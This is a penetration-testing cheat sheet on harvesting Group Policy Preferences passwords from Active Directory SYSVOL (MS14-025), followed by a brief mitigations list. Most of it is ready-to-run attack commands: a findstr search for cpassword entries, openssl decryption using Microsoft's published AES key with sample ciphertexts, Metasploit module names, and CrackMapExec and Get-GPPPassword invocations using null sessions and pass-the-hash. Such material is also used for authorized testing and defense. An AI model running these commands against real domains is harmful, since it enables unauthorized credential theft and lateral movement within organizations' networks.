PenTest – Password – Group Policy Preferences

Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN – 2.2.1.1.4 Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Automate the SYSVOL and passwords research

• Metasploit modules to enumerate shares and credentials

  scanner/smb/smb_enumshares
  post/windows/gather/enum_shares
  post/windows/gather/credentials/gpp
  

   

• CrackMapExec modules

  cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
  cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
  

   

• Get-GPPPassword

  # with a NULL session
  Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
  
  # with cleartext credentials
  Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  
  # pass-the-hash
  Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
  

   

Mitigations

• Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
• Delete existing GPP xml files in SYSVOL containing passwords.
• Don’t put passwords in files that are accessible by all authenticated users.

References

• Finding Passwords in SYSVOL & Exploiting Group Policy Preferences